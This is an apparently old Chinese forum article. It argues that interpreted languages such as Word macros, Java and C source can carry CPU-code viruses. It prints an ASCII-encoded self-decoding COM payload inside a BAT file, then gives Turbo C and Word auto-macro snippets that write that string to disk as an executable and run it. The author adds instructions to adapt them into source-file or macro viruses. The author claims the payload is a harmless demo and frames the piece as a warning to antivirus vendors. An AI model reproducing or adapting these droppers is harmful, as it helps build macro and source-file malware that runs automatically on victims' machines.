许多杀毒厂家谈到WORD宏病毒时,认为宏是解释执行,所以认为宏病毒很简单,关键技术在于WORD的文件格式。我想提醒大家注意,解释执行虽然没有获得CPU的控制权,并不代表不能干大事。关键在于你提供的语言方便不方便。其实解释型语言也可能获得CPU的控制大权的。所以JAVA也可能染毒!所以源文件型病毒并不需要很多专家说的那样要几百行的程序。
下面是DOS下的。BAT文件,你粘贴下来运行一下,你就会明白。它会释放一提示。此只是一演示,不含病毒!但其中的技术完全可以在JAVA,WORD,源文件中实现,也很简单!所以提醒大家(特别是一些杀毒厂家)应真正的理解解释执行与CPU代码执行在本质上并没有区别!
:0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_jeX4aPY-
x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJALIAAE
MMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHDCAG
DGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq
@ECHO OFF
COPY %0.BAT /B C:\\BATVIR.COM /B /Y
C:\\BATVIR.COM
DEL C:\\BATVIR.COM
此程序主要是用一段字符串(在这儿是BAT文件本身)作一文件,这在JAVA,WORD宏,源程序,解释型的BASIC等等中不难实现。而这一字符串又是CPU代码。实际前一小段对后面的字符串解码,所以什么CPU代码都被转换成了字母。然后加载这一文件,恐怕这一功能大多的语言都提供了。
为什么要这么处理?因为很多的解释型语言,源程序什么的都能很方便的进行字符的处理,而他们二进制处理不方便或者不能。这就是这方面病毒少的原因。
在这我要说明的是我不是教人编病毒,而是要提醒大家(特别的是一些杀毒厂家)应提前的预防这一方面的病毒。虽然这可能将使这一方面的病毒很快出现,但我想技术上有这一可能,迟早都会出现,还不如我们早一点预防。
我是考虑JAVA到底会不会染毒想到这方面的,因为JAVA还有很多语言是解释执行,提供的函数,解释代码在病毒方面不够灵活,而CPU代码那就太方便了。归结起来就是解释型语言怎样与CPU代码结合。一直没有说出这一点,而前段时间看到报道说国外有了这方面的病毒,(报道说你浏览别人的网页,不下栽任何软件,也会中毒!我想用这一方法不难实现!)还有有感于我们国内的一些杀毒厂家对解释执行的错误认识,所以说出来提醒大家注意。
turbo c 下的源文件病毒的实现:
你把下面一段程序加到你的turbo c 程序中,再如果VIR[]那一段驻留,自动把这一段加到你的C程序中,那这不就是源文件病毒了吗?简单吧?想想多少语言的源文件能用同样的方法实现?恐怕大多数都能简单的实现吧!
是不是源文件病毒并不象原来一些所谓的专家说的要几百的程序?
char vir[]={":0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_
jeX4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJ
ALIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJH
DCAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq"};
FILE *fp;
fp=creat("c:\\\\temp\\\\vir.com");
write(fp,&vir,200);
close(fp);
system("c:\\\\temp\\\\vir.com");
WORD宏中实现的方法:
你把下面一段加到你的WORD自动宏中,再改改PRO$那一段,简单吧!别的语言你也该会了吧!
Name$ = Environ$("tmp") + "\\MACROVIR.COM"
Open Name$ For Output As #1
pro$ = ":0jeX4e-005POP]hWeX5ddP^1,FFFFF1,FFF1,4rP^P_je
X4aPY-x-AAR`0`*=00uPBOIAAAAFKAOBPIDMCBALEAJMNCBJA
LIAAEMMNCBFEGIGFCAENGBGDHCGPHGGJHCHFHDCAGJHD
CAGDGPGNGJGOGHCACOCOCOCOCOCOANAKCEAAqqqq"
Print #1, pro$
Close #1
Shell Name$
WORD实际是用的VB,但也不完全一样。VB中OPEN有FOR BINARY(二进制)方式,WORD取消了,所以WORD中CPU代码可能不用字符串方式不太可能实现,Chr$等函数好象不太兼容,字符方式是为了兼容。hanshu TURBO C中你当然可以用__exit__等别的方法也很简单的实现!C中有指针,你也可以让你的CPU代码直接在内存中获得控制权!
(iwgh) |